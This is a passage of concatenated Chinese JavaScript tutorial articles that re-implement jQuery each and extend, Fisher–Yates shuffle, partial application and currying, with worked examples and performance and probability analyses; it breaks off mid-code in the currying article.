首先,我们肯定要根据参数的类型进行判断,如果是数组,就调用 for 循环,如果是对象,就使用 for in 循环,有一个例外是类数组对象,对于类数组对象,我们依然可以使用 for 循环。 更多关于类数组对象的知识,我们可以查看[《JavaScript专题之类数组对象与arguments》](https://github.com/mqyqingfeng/Blog/issues/14) 那么又该如何判断类数组对象和数组呢?实际上,我们在[《JavaScript专题之类型判断(下)》](https://github.com/mqyqingfeng/Blog/issues/30)就讲过jQuery 数组和类数组对象判断函数 isArrayLike 的实现。 所以,我们可以轻松写出第一版: ```js // 第一版 function each(obj, callback) { var length, i = 0; if ( isArrayLike(obj) ) { length = obj.length; for ( ; i < length; i++ ) { callback(i, obj[i]) } } else { for ( i in obj ) { callback(i, obj[i]) } } return obj; } ``` ## 中止循环 现在已经可以遍历对象和数组了,但是依然有一个效果没有实现,就是中止循环,按照 jQuery each 的实现,当回调函数返回 false 的时候,我们就中止循环。这个实现起来也很简单: 我们只用把: ```js callback(i, obj[i]) ``` 替换成: ```js if (callback(i, obj[i]) === false) { break; } ``` 轻松实现中止循环的功能。 ## this 我们在实际的开发中,我们有时会在 callback 函数中用到 this,先举个不怎么恰当的例子: ```js // 我们给每个人添加一个 age 属性,age 的值为 18 + index var person = [ {name: 'kevin'}, {name: 'daisy'} ] $.each(person, function(index, item){ this.age = 18 + index; }) console.log(person) ``` 这个时候,我们就希望 this 能指向当前遍历的元素,然后给每个元素添加 age 属性。 指定 this,我们可以使用 call 或者 apply,其实也很简单: 我们把: ```js if (callback(i, obj[i]) === false) { break; } ``` 替换成: ```js if (callback.call(obj[i], i, obj[i]) === false) { break; } ``` 关于 this,我们再举个常用的例子: ```js $.each($("p"), function(){ $(this).hover(function(){ ... }); }) ``` 虽然我们经常会这样写: ```js $("p").each(function(){ $(this).hover(function(){ ... }); }) ``` 但是因为 $("p").each() 方法是定义在 jQuery 函数的 prototype 对象上面的,而 $.data()方法是定义 jQuery 函数上面的,调用的时候不从复杂的 jQuery 对象上调用,速度快得多。所以我们推荐使用第一种写法。 回到第一种写法上,就是因为将 this 指向了当前 DOM 元素,我们才能使用 $(this)将当前 DOM 元素包装成 jQuery 对象,优雅的使用 hover 方法。 所以最终的 each 源码为: ```js function each(obj, callback) { var length, i = 0; if (isArrayLike(obj)) { length = obj.length; for (; i < length; i++) { if (callback.call(obj[i], i, obj[i]) === false) { break; } } } else { for (i in obj) { if (callback.call(obj[i], i, obj[i]) === false) { break; } } } return obj; } ``` ## 性能比较 我们在性能上比较下 for 循环和 each 函数: ```js var arr = Array.from({length: 1000000}, (v, i) => i); console.time('for') var i = 0; for (; i < arr.length; i++) { i += arr[i]; } console.timeEnd('for') console.time('each') var j = 0; $.each(arr, function(index, item){ j += item; }) console.timeEnd('each') ``` 这里显示一次运算的结果: ![性能比较](https://github.com/mqyqingfeng/Blog/raw/master/Images/each/each1.png) 从上图可以看出,for 循环的性能是明显好于 each 函数的,each 函数本质上也是用的 for 循环,到底是慢在了哪里呢? 我们再看一个例子: ```js function each(obj, callback) { var i = 0; var length = obj.length for (; i < length; i++) { value = callback(i, obj[i]); } } function eachWithCall(obj, callback) { var i = 0; var length = obj.length for (; i < length; i++) { value = callback.call(obj[i], i, obj[i]); } } var arr = Array.from({length: 1000000}, (v, i) => i); console.time('each') var i = 0; each(arr, function(index, item){ i += item; }) console.timeEnd('each') console.time('eachWithCall') var j = 0; eachWithCall(arr, function(index, item){ j += item; }) console.timeEnd('eachWithCall') ``` 这里显示一次运算的结果: ![性能比较](https://github.com/mqyqingfeng/Blog/raw/master/Images/each/each2.png) each 函数和 eachWithCall 函数唯一的区别就是 eachWithCall 调用了 call,从结果我们可以推测出,call 会导致性能损失,但也正是 call 的存在,我们才能将 this 指向循环中当前的元素。 有舍有得吧。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之乱序.md ================================================ # JavaScript专题之乱序 ## 乱序 乱序的意思就是将数组打乱。 嗯,没有了,直接看代码吧。 ## Math.random 一个经常会遇见的写法是使用 Math.random(): ```js var values = [1, 2, 3, 4, 5]; values.sort(function(){ return Math.random() - 0.5; }); console.log(values) ``` `Math.random() - 0.5` 随机得到一个正数、负数或是 0,如果是正数则降序排列,如果是负数则升序排列,如果是 0 就不变,然后不断的升序或者降序,最终得到一个乱序的数组。 看似很美好的一个方案,实际上,效果却不尽如人意。不信我们写个 demo 测试一下: ```js var times = [0, 0, 0, 0, 0]; for (var i = 0; i < 100000; i++) { let arr = [1, 2, 3, 4, 5]; arr.sort(() => Math.random() - 0.5); times[arr[4]-1]++; } console.log(times) ``` 测试原理是:将 `[1, 2, 3, 4, 5]` 乱序 10 万次,计算乱序后的数组的最后一个元素是 1、2、3、4、5 的次数分别是多少。 一次随机的结果为: ```js [30636, 30906, 20456, 11743, 6259] ``` 该结果表示 10 万次中,数组乱序后的最后一个元素是 1 的情况共有 30636 次,是 2 的情况共有 30906 次,其他依此类推。 我们会发现,最后一个元素为 5 的次数远远低于为 1 的次数,所以这个方案是有问题的。 可是我明明感觉这个方法还不错呐?初见时还有点惊艳的感觉,为什么会有问题呢? 是的!我很好奇! ## 插入排序 如果要追究这个问题所在,就必须了解 sort 函数的原理,然而 ECMAScript 只规定了效果,没有规定实现的方式,所以不同浏览器实现的方式还不一样。 为了解决这个问题,我们以 v8 为例,v8 在处理 sort 方法时,当目标数组长度小于 10 时,使用插入排序;反之,使用快速排序和插入排序的混合排序。 所以我们来看看 v8 的源码,因为是用 JavaScript 写的,大家也是可以看懂的。 源码地址:[https://github.com/v8/v8/blob/master/src/js/array.js](https://github.com/v8/v8/blob/master/src/js/array.js) 为了简化篇幅,我们对 `[1, 2, 3]` 这个数组进行分析,数组长度为 3,此时采用的是插入排序。 插入排序的源码是: ```js function InsertionSort(a, from, to) { for (var i = from + 1; i < to; i++) { var element = a[i]; for (var j = i - 1; j >= from; j--) { var tmp = a[j]; var order = comparefn(tmp, element); if (order > 0) { a[j + 1] = tmp; } else { break; } } a[j + 1] = element; } }; ``` 其原理在于将第一个元素视为有序序列,遍历数组,将之后的元素依次插入这个构建的有序序列中。 我们来个简单的示意图: ![插入排序](https://github.com/mqyqingfeng/Blog/raw/master/Images/sort/insertion.gif) ## 具体分析 明白了插入排序的原理,我们来具体分析下 [1, 2, 3] 这个数组乱序的结果。 演示代码为: ```js var values = [1, 2, 3]; values.sort(function(){ return Math.random() - 0.5; }); ``` 注意此时 sort 函数底层是使用插入排序实现,InsertionSort 函数的 from 的值为 0,to 的值为 3。 我们开始逐步分析乱序的过程: 因为插入排序视第一个元素为有序的,所以数组的外层循环从 `i = 1` 开始,a[i] 值为 2,此时内层循环遍历,比较 `compare(1, 2)`,因为 `Math.random() - 0.5` 的结果有 50% 的概率小于 0 ,有 50% 的概率大于 0,所以有 50% 的概率数组变成 [2, 1, 3],50% 的结果不变,数组依然为 [1, 2, 3]。 假设依然是 [1, 2, 3],我们再进行一次分析,接着遍历,`i = 2`,a[i] 的值为 3,此时内层循环遍历,比较 `compare(2, 3)`: 有 50% 的概率数组不变,依然是 `[1, 2, 3]`,然后遍历结束。 有 50% 的概率变成 [1, 3, 2],因为还没有找到 3 正确的位置,所以还会进行遍历,所以在这 50% 的概率中又会进行一次比较,`compare(1, 3)`,有 50% 的概率不变,数组为 [1, 3, 2],此时遍历结束,有 50% 的概率发生变化,数组变成 [3, 1, 2]。 综上,在 [1, 2, 3] 中,有 50% 的概率会变成 [1, 2, 3],有 25% 的概率会变成 [1, 3, 2],有 25% 的概率会变成 [3, 1, 2]。 另外一种情况 [2, 1, 3] 与之分析类似,我们将最终的结果汇总成一个表格:
数组 i = 1 i = 2 总计
[1, 2, 3] 50% [1, 2, 3] 50% [1, 2, 3] 25% [1, 2, 3]
25% [1, 3, 2] 12.5% [1, 3, 2]
25% [3, 1, 2] 12.5% [3, 1, 2]
50% [2, 1, 3] 50% [2, 1, 3] 25% [2, 1, 3]
25% [2, 3, 1] 12.5% [2, 3, 1]
25% [3, 2, 1] 12.5% [3, 2, 1]
为了验证这个推算是否准确,我们写个 demo 测试一下: ```js var times = 100000; var res = {}; for (var i = 0; i < times; i++) { var arr = [1, 2, 3]; arr.sort(() => Math.random() - 0.5); var key = JSON.stringify(arr); res[key] ? res[key]++ : res[key] = 1; } // 为了方便展示,转换成百分比 for (var key in res) { res[key] = res[key] / times * 100 + '%' } console.log(res) ``` 这是一次随机的结果: ![Math random 效果演示](https://github.com/mqyqingfeng/Blog/raw/master/Images/shuffle/mathRandom.png) 我们会发现,乱序后,`3` 还在原位置(即 [1, 2, 3] 和 [2, 1, 3]) 的概率有 50% 呢。 所以根本原因在于什么呢?其实就在于在插入排序的算法中,当待排序元素跟有序元素进行比较时,一旦确定了位置,就不会再跟位置前面的有序元素进行比较,所以就乱序的不彻底。 那么如何实现真正的乱序呢?而这就要提到经典的 Fisher–Yates 算法。 ## Fisher–Yates 为什么叫 Fisher–Yates 呢? 因为这个算法是由 Ronald Fisher 和 Frank Yates 首次提出的。 话不多说,我们直接看 JavaScript 的实现: ```js function shuffle(a) { var j, x, i; for (i = a.length; i; i--) { j = Math.floor(Math.random() * i); x = a[i - 1]; a[i - 1] = a[j]; a[j] = x; } return a; } ``` 原理很简单,就是遍历数组元素,然后将当前元素与以后随机位置的元素进行交换,从代码中也可以看出,这样乱序的就会更加彻底。 如果利用 ES6,代码还可以简化成: ```js function shuffle(a) { for (let i = a.length; i; i--) { let j = Math.floor(Math.random() * i); [a[i - 1], a[j]] = [a[j], a[i - 1]]; } return a; } ``` 还是再写个 demo 测试一下吧: ```js var times = 100000; var res = {}; for (var i = 0; i < times; i++) { var arr = shuffle([1, 2, 3]); var key = JSON.stringify(arr); res[key] ? res[key]++ : res[key] = 1; } // 为了方便展示,转换成百分比 for (var key in res) { res[key] = res[key] / times * 100 + '%' } console.log(res) ``` 这是一次随机的结果: ![Fisher–Yates 效果演示](https://github.com/mqyqingfeng/Blog/raw/master/Images/shuffle/fisher-yates.png) 真正的实现了乱序的效果! ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之从零实现jQuery的extend.md ================================================ # JavaScript专题之从零实现jQuery的extend ## 前言 jQuery 的 extend 是 jQuery 中应用非常多的一个函数,今天我们一边看 jQuery 的 extend 的特性,一边实现一个 extend! ## extend 基本用法 先来看看 extend 的功能,引用 jQuery 官网: > Merge the contents of two or more objects together into the first object. 翻译过来就是,合并两个或者更多的对象的内容到第一个对象中。 让我们看看 extend 的用法: ```js jQuery.extend( target [, object1 ] [, objectN ] ) ``` 第一个参数 target,表示要拓展的目标,我们就称它为目标对象吧。 后面的参数,都传入对象,内容都会复制到目标对象中,我们就称它们为待复制对象吧。 举个例子: ```js var obj1 = { a: 1, b: { b1: 1, b2: 2 } }; var obj2 = { b: { b1: 3, b3: 4 }, c: 3 }; var obj3 = { d: 4 } console.log($.extend(obj1, obj2, obj3)); // { // a: 1, // b: { b1: 3, b3: 4 }, // c: 3, // d: 4 // } ``` 当两个对象出现相同字段的时候,后者会覆盖前者,而不会进行深层次的覆盖。 ## extend 第一版 结合着上篇写得 [《JavaScript专题之深浅拷贝》](https://github.com/mqyqingfeng/Blog/issues/32),我们尝试着自己写一个 extend 函数: ```js // 第一版 function extend() { var name, options, copy; var length = arguments.length; var i = 1; var target = arguments[0]; for (; i < length; i++) { options = arguments[i]; if (options != null) { for (name in options) { copy = options[name]; if (copy !== undefined){ target[name] = copy; } } } } return target; }; ``` ## extend 深拷贝 那如何进行深层次的复制呢?jQuery v1.1.4 加入了一个新的用法: ```js jQuery.extend( [deep], target, object1 [, objectN ] ) ``` 也就是说,函数的第一个参数可以传一个布尔值,如果为 true,我们就会进行深拷贝,false 依然当做浅拷贝,这个时候,target 就往后移动到第二个参数。 还是举这个例子: ```js var obj1 = { a: 1, b: { b1: 1, b2: 2 } }; var obj2 = { b: { b1: 3, b3: 4 }, c: 3 }; var obj3 = { d: 4 } console.log($.extend(true, obj1, obj2, obj3)); // { // a: 1, // b: { b1: 3, b2: 2, b3: 4 }, // c: 3, // d: 4 // } ``` 因为采用了深拷贝,会遍历到更深的层次进行添加和覆盖。 ## extend 第二版 我们来实现深拷贝的功能,值得注意的是: 1. 需要根据第一个参数的类型,确定 target 和要合并的对象的下标起始值。 2. 如果是深拷贝,根据 copy 的类型递归 extend。 ```js // 第二版 function extend() { // 默认不进行深拷贝 var deep = false; var name, options, src, copy; var length = arguments.length; // 记录要复制的对象的下标 var i = 1; // 第一个参数不传布尔值的情况下,target默认是第一个参数 var target = arguments[0] || {}; // 如果第一个参数是布尔值,第二个参数是才是target if (typeof target == 'boolean') { deep = target; target = arguments[i] || {}; i++; } // 如果target不是对象,我们是无法进行复制的,所以设为{} if (typeof target !== 'object') { target = {} } // 循环遍历要复制的对象们 for (; i < length; i++) { // 获取当前对象 options = arguments[i]; // 要求不能为空 避免extend(a,,b)这种情况 if (options != null) { for (name in options) { // 目标属性值 src = target[name]; // 要复制的对象的属性值 copy = options[name]; if (deep && copy && typeof copy == 'object') { // 递归调用 target[name] = extend(deep, src, copy); } else if (copy !== undefined){ target[name] = copy; } } } } return target; }; ``` 在实现上,核心的部分还是跟上篇实现的深浅拷贝函数一致,如果要复制的对象的属性值是一个对象,就递归调用 extend。不过 extend 的实现中,多了很多细节上的判断,比如第一个参数是否是布尔值,target 是否是一个对象,不传参数时的默认值等。 接下来,我们看几个 jQuery 的 extend 使用效果: ## target 是函数 在我们的实现中,`typeof target` 必须等于 `object`,我们才会在这个 `target` 基础上进行拓展,然而我们用 `typeof` 判断一个函数时,会返回`function`,也就是说,我们无法在一个函数上进行拓展! 什么,我们还能在一个函数上进行拓展!! 当然啦,毕竟函数也是一种对象嘛,让我们看个例子: ```js function a() {} a.target = 'b'; console.log(a.target); // b ``` 实际上,在 underscore 的实现中,underscore 的各种方法便是挂在了函数上! 所以在这里我们还要判断是不是函数,这时候我们便可以使用[《JavaScript专题之类型判断(上)》](https://github.com/mqyqingfeng/Blog/issues/28)中写得 isFunction 函数 我们这样修改: ```js if (typeof target !== "object" && !isFunction(target)) { target = {}; } ``` ## 类型不一致 其实我们实现的方法有个小 bug ,不信我们写个 demo: ```js var obj1 = { a: 1, b: { c: 2 } } var obj2 = { b: { c: [5], } } var d = extend(true, obj1, obj2) console.log(d); ``` 我们预期会返回这样一个对象: ```js { a: 1, b: { c: [5] } } ``` 然而返回了这样一个对象: ```js { a: 1, b: { c: { 0: 5 } } } ``` 让我们细细分析为什么会导致这种情况: 首先我们在函数的开始写一个 console 函数比如:console.log(1),然后以上面这个 demo 为例,执行一下,我们会发现 1 打印了三次,这就是说 extend 函数执行了三遍,让我们捋一捋这三遍传入的参数: 第一遍执行到递归调用时: ```js var src = { c: 2 }; var copy = { c: [5]}; target[name] = extend(true, src, copy); ``` 第二遍执行到递归调用时: ```js var src = 2; var copy = [5]; target[name] = extend(true, src, copy); ``` 第三遍进行最终的赋值,因为 src 是一个基本类型,我们默认使用一个空对象作为目标值,所以最终的结果就变成了对象的属性! 为了解决这个问题,我们需要对目标属性值和待复制对象的属性值进行判断: 判断目标属性值跟要复制的对象的属性值类型是否一致: * 如果待复制对象属性值类型为数组,目标属性值类型不为数组的话,目标属性值就设为 [] * 如果待复制对象属性值类型为对象,目标属性值类型不为对象的话,目标属性值就设为 {} 结合着[《JavaScript专题之类型判断(下)》](https://github.com/mqyqingfeng/Blog/issues/30)中的 isPlainObject 函数,我们可以对类型进行更细致的划分: ```js var clone, copyIsArray; ... if (deep && copy && (isPlainObject(copy) || (copyIsArray = Array.isArray(copy)))) { if (copyIsArray) { copyIsArray = false; clone = src && Array.isArray(src) ? src : []; } else { clone = src && isPlainObject(src) ? src : {}; } target[name] = extend(deep, clone, copy); } else if (copy !== undefined) { target[name] = copy; } ``` ## 循环引用 实际上,我们还可能遇到一个循环引用的问题,举个例子: ```js var a = {name : b}; var b = {name : a} var c = extend(a, b); console.log(c); ``` 我们会得到一个可以无限展开的对象,类似于这样: ![循环引用对象](https://github.com/mqyqingfeng/Blog/raw/master/Images/extend/extend1.png) 为了避免这个问题,我们需要判断要复制的对象属性是否等于 target,如果等于,我们就跳过: ```js ... src = target[name]; copy = options[name]; if (target === copy) { continue; } ... ``` 如果加上这句,结果就会是: ```js {name: undefined} ``` ## 最终代码 ```js function extend() { // 默认不进行深拷贝 var deep = false; var name, options, src, copy, clone, copyIsArray; var length = arguments.length; // 记录要复制的对象的下标 var i = 1; // 第一个参数不传布尔值的情况下,target 默认是第一个参数 var target = arguments[0] || {}; // 如果第一个参数是布尔值,第二个参数是 target if (typeof target == 'boolean') { deep = target; target = arguments[i] || {}; i++; } // 如果target不是对象,我们是无法进行复制的,所以设为 {} if (typeof target !== "object" && !isFunction(target)) { target = {}; } // 循环遍历要复制的对象们 for (; i < length; i++) { // 获取当前对象 options = arguments[i]; // 要求不能为空 避免 extend(a,,b) 这种情况 if (options != null) { for (name in options) { // 目标属性值 src = target[name]; // 要复制的对象的属性值 copy = options[name]; // 解决循环引用 if (target === copy) { continue; } // 要递归的对象必须是 plainObject 或者数组 if (deep && copy && (isPlainObject(copy) || (copyIsArray = Array.isArray(copy)))) { // 要复制的对象属性值类型需要与目标属性值相同 if (copyIsArray) { copyIsArray = false; clone = src && Array.isArray(src) ? src : []; } else { clone = src && isPlainObject(src) ? src : {}; } target[name] = extend(deep, clone, copy); } else if (copy !== undefined) { target[name] = copy; } } } } return target; }; ``` ## 思考题 如果觉得看明白了上面的代码,想想下面两个 demo 的结果: ```js var a = extend(true, [4, 5, 6, 7, 8, 9], [1, 2, 3]); console.log(a) // ??? ``` ```js var obj1 = { value: { 3: 1 } } var obj2 = { value: [5, 6, 7], } var b = extend(true, obj1, obj2) // ??? var c = extend(true, obj2, obj1) // ??? ``` ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之偏函数.md ================================================ # JavaScript专题之偏函数 ## 定义 维基百科中对偏函数 (Partial application) 的定义为: > In computer science, partial application (or partial function application) refers to the process of fixing a number of arguments to a function, producing another function of smaller arity. 翻译成中文: 在计算机科学中,局部应用是指固定一个函数的一些参数,然后产生另一个更小元的函数。 什么是元?元是指函数参数的个数,比如一个带有两个参数的函数被称为二元函数。 举个简单的例子: ```js function add(a, b) { return a + b; } // 执行 add 函数,一次传入两个参数即可 add(1, 2) // 3 // 假设有一个 partial 函数可以做到局部应用 var addOne = partial(add, 1); addOne(2) // 3 ``` 个人觉得翻译成“局部应用”或许更贴切些,以下全部使用“局部应用”。 ## 柯里化与局部应用 如果看过上一篇文章[《JavaScript专题之柯里化》](https://github.com/mqyqingfeng/Blog/issues/42),实际上你会发现这个例子和柯里化太像了,所以两者到底是有什么区别呢? 其实也很明显: 柯里化是将一个多参数函数转换成多个单参数函数,也就是将一个 n 元函数转换成 n 个一元函数。 局部应用则是固定一个函数的一个或者多个参数,也就是将一个 n 元函数转换成一个 n - x 元函数。 如果说两者有什么关系的话,引用 [functional-programming-jargon](https://github.com/hemanth/functional-programming-jargon#partial-application) 中的描述就是: > Curried functions are automatically partially applied. ## partial 我们今天的目的是模仿 underscore 写一个 partial 函数,比起 curry 函数,这个显然简单了很多。 也许你在想我们可以直接使用 bind 呐,举个例子: ```js function add(a, b) { return a + b; } var addOne = add.bind(null, 1); addOne(2) // 3 ``` 然而使用 bind 我们还是改变了 this 指向,我们要写一个不改变 this 指向的方法。 ## 第一版 根据之前的表述,我们可以尝试着写出第一版: ```js // 第一版 // 似曾相识的代码 function partial(fn) { var args = [].slice.call(arguments, 1); return function() { var newArgs = args.concat([].slice.call(arguments)); return fn.apply(this, newArgs); }; }; ``` 我们来写个 demo 验证下 this 的指向: ```js function add(a, b) { return a + b + this.value; } // var addOne = add.bind(null, 1); var addOne = partial(add, 1); var value = 1; var obj = { value: 2, addOne: addOne } obj.addOne(2); // ??? // 使用 bind 时,结果为 4 // 使用 partial 时,结果为 5 ``` ## 第二版 然而正如 curry 函数可以使用占位符一样,我们希望 partial 函数也可以实现这个功能,我们再来写第二版: ```js // 第二版 var _ = {}; function partial(fn) { var args = [].slice.call(arguments, 1); return function() { var position = 0, len = args.length; for(var i = 0; i < len; i++) { args[i] = args[i] === _ ? arguments[position++] : args[i] } while(position < arguments.length) args.push(argumetns[position++]); return fn.apply(this, args); }; }; ``` 我们验证一下: ```js var subtract = function(a, b) { return b - a; }; subFrom20 = partial(subtract, _, 20); subFrom20(5); ``` ## 写在最后 值得注意的是:underscore 和 lodash 都提供了 partial 函数,但只有 lodash 提供了 curry 函数。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之函数柯里化.md ================================================ # JavaScript专题之函数柯里化 ## 定义 维基百科中对柯里化 (Currying) 的定义为: > In mathematics and computer science, currying is the technique of translating the evaluation of a function that takes multiple arguments (or a tuple of arguments) into evaluating a sequence of functions, each with a single argument. 翻译成中文: 在数学和计算机科学中,柯里化是一种将使用多个参数的一个函数转换成一系列使用一个参数的函数的技术。 举个例子: ```js function add(a, b) { return a + b; } // 执行 add 函数,一次传入两个参数即可 add(1, 2) // 3 // 假设有一个 curry 函数可以做到柯里化 var addCurry = curry(add); addCurry(1)(2) // 3 ``` ## 用途 我们会讲到如何写出这个 curry 函数,并且会将这个 curry 函数写的很强大,但是在编写之前,我们需要知道柯里化到底有什么用? 举个例子: ```js // 示意而已 function ajax(type, url, data) { var xhr = new XMLHttpRequest(); xhr.open(type, url, true); xhr.send(data); } // 虽然 ajax 这个函数非常通用,但在重复调用的时候参数冗余 ajax('POST', 'www.test.com', "name=kevin") ajax('POST', 'www.test2.com', "name=kevin") ajax('POST', 'www.test3.com', "name=kevin") // 利用 curry var ajaxCurry = curry(ajax); // 以 POST 类型请求数据 var post = ajaxCurry('POST'); post('www.test.com', "name=kevin"); // 以 POST 类型请求来自于 www.test.com 的数据 var postFromTest = post('www.test.com'); postFromTest("name=kevin"); ``` 想想 jQuery 虽然有 $.ajax 这样通用的方法,但是也有 $.get 和 $.post 的语法糖。(当然 jQuery 底层是否是这样做的,我就没有研究了)。 curry 的这种用途可以理解为:参数复用。本质上是降低通用性,提高适用性。 可是即便如此,是不是依然感觉没什么用呢? 如果我们仅仅是把参数一个一个传进去,意义可能不大,但是如果我们是把柯里化后的函数传给其他函数比如 map 呢? 举个例子: 比如我们有这样一段数据: ```js var person = [{name: 'kevin'}, {name: 'daisy'}] ``` 如果我们要获取所有的 name 值,我们可以这样做: ```js var name = person.map(function (item) { return item.name; }) ``` 不过如果我们有 curry 函数: ```js var prop = curry(function (key, obj) { return obj[key] }); var name = person.map(prop('name')) ``` 我们为了获取 name 属性还要再编写一个 prop 函数,是不是又麻烦了些? 但是要注意,prop 函数编写一次后,以后可以多次使用,实际上代码从原本的三行精简成了一行,而且你看代码是不是更加易懂了? `person.map(prop('name'))` 就好像直白的告诉你:person 对象遍历(map)获取(prop) name 属性。 是不是感觉有点意思了呢? ## 第一版 未来我们会接触到更多有关柯里化的应用,不过那是未来的事情了,现在我们该编写这个 curry 函数了。 一个经常会看到的 curry 函数的实现为: ```js // 第一版 var curry = function (fn) { var args = [].slice.call(arguments, 1); return function() { var newArgs = args.concat([].slice.call(arguments)); return fn.apply(this, newArgs); }; }; ``` 我们可以这样使用: ```js function add(a, b) { return a + b; } var addCurry = curry(add, 1, 2); addCurry() // 3 //或者 var addCurry = curry(add, 1); addCurry(2) // 3 //或者 var addCurry = curry(add); addCurry(1, 2) // 3 ``` 已经有柯里化的感觉了,但是还没有达到要求,不过我们可以把这个函数用作辅助函数,帮助我们写真正的 curry 函数。 ## 第二版 ```js // 第二版 function sub_curry(fn) { var args = [].slice.call(arguments, 1); return function() { return fn.apply(this, args.concat([].slice.call(arguments))); }; } function curry(fn, length) { length = length || fn.length; var slice = Array.prototype.slice; return function() { if (arguments.length < length) { var combined = [fn].concat(slice.call(arguments)); return curry(sub_curry.apply(this, combined), length - arguments.length); } else { return fn.apply(this, arguments); } }; } ``` 我们验证下这个函数: ```js var fn = curry(function(a, b, c) { return [a, b, c]; }); fn("a", "b", "c") // ["a", "b", "c"] fn("a", "b")("c") // ["a", "b", "c"] fn("a")("b")("c") // ["a", "b", "c"] fn("a")("b", "c") // ["a", "b", "c"] ``` 效果已经达到我们的预期,然而这个 curry 函数的实现好难理解呐…… 为了让大家更好的理解这个 curry 函数,我给大家写个极简版的代码: ```js function sub_curry(fn){ return function(){ return fn() } } function curry(fn, length){ length = length || 4; return function(){ if (length > 1) { return curry(sub_curry(fn), --length) } else { return fn() } } } var fn0 = function(){ console.log(1) } var fn1 = curry(fn0) fn1()()()() // 1 ``` 大家先从理解这个 curry 函数开始。 当执行 fn1() 时,函数返回: ```js curry(sub_curry(fn0)) // 相当于 curry(function(){ return fn0() }) ``` 当执行 fn1()() 时,函数返回: ```js curry(sub_curry(function(){ return fn0() })) // 相当于 curry(function(){ return (function(){ return fn0() })() }) // 相当于 curry(function(){ return fn0() }) ``` 当执行 fn1()()() 时,函数返回: ```js // 跟 fn1()() 的分析过程一样 curry(function(){ return fn0() }) ``` 当执行 fn1()()()() 时,因为此时 length > 2 为 false,所以执行 fn(): ```js fn() // 相当于 (function(){ return fn0() })() // 相当于 fn0() // 执行 fn0 函数,打印 1 ``` 再回到真正的 curry 函数,我们以下面的例子为例: ```js var fn0 = function(a, b, c, d) { return [a, b, c, d]; } var fn1 = curry(fn0); fn1("a", "b")("c")("d") ``` 当执行 fn1("a", "b") 时: ```js fn1("a", "b") // 相当于 curry(fn0)("a", "b") // 相当于 curry(sub_curry(fn0, "a", "b")) // 相当于 // 注意 ... 只是一个示意,表示该函数执行时传入的参数会作为 fn0 后面的参数传入 curry(function(...){ return fn0("a", "b", ...) }) ``` 当执行 fn1("a", "b")("c") 时,函数返回: ```js curry(sub_curry(function(...){ return fn0("a", "b", ...) }), "c") // 相当于 curry(function(...){ return (function(...) {return fn0("a", "b", ...)})("c") }) // 相当于 curry(function(...){ return fn0("a", "b", "c", ...) }) ``` 当执行 fn1("a", "b")("c")("d") 时,此时 arguments.length < length 为 false ,执行 fn(arguments),相当于: ```js (function(...){ return fn0("a", "b", "c", ...) })("d") // 相当于 fn0("a", "b", "c", "d") ``` 函数执行结束。 所以,其实整段代码又很好理解: sub_curry 的作用就是用函数包裹原函数,然后给原函数传入之前的参数,当执行 fn0(...)(...) 的时候,执行包裹函数,返回原函数,然后再调用 sub_curry 再包裹原函数,然后将新的参数混合旧的参数再传入原函数,直到函数参数的数目达到要求为止。 如果要明白 curry 函数的运行原理,大家还是要动手写一遍,尝试着分析执行步骤。 ## 更易懂的实现 当然了,如果你觉得还是无法理解,你可以选择下面这种实现方式,可以实现同样的效果: ```js function curry(fn, args) { length = fn.length; args = args || []; return function() { var _args = args.slice(0), arg, i; for (i = 0; i < arguments.length; i++) { arg = arguments[i]; _args.push(arg); } if (_args.length < length) { return curry.call(this, fn, _args); } else { return fn.apply(this, _args); } } } var fn = curry(function(a, b, c) { console.log([a, b, c]); }); fn("a", "b", "c") // ["a", "b", "c"] fn("a", "b")("c") // ["a", "b", "c"] fn("a")("b")("c") // ["a", "b", "c"] fn("a")("b", "c") // ["a", "b", "c"] ``` 或许大家觉得这种方式更好理解,又能实现一样的效果,为什么不直接就讲这种呢? 因为想给大家介绍各种实现的方法嘛,不能因为难以理解就不给大家介绍呐~ ### 第三版 curry 函数写到这里其实已经很完善了,但是注意这个函数的传参顺序必须是从左到右,根据形参的顺序依次传入,如果我不想根据这个顺序传呢? 我们可以创建一个占位符,比如这样: ```js var fn = curry(function(a, b, c) { console.log([a, b, c]); }); fn("a", _, "c")("b") // ["a", "b", "c"] ``` 我们直接看第三版的代码: ```js // 第三版 function curry(fn, args, holes) { length = fn.length; args = args || []; holes = holes || []; return function() { var _args = args.slice(0), _holes = holes.slice(0), argsLen = args.length, holesLen = holes.length, arg, i, index = 0; for (i = 0; i < arguments.length; i++) { arg = arguments[i]; // 处理类似 fn(1, _, _, 4)(_, 3) 这种情况,index 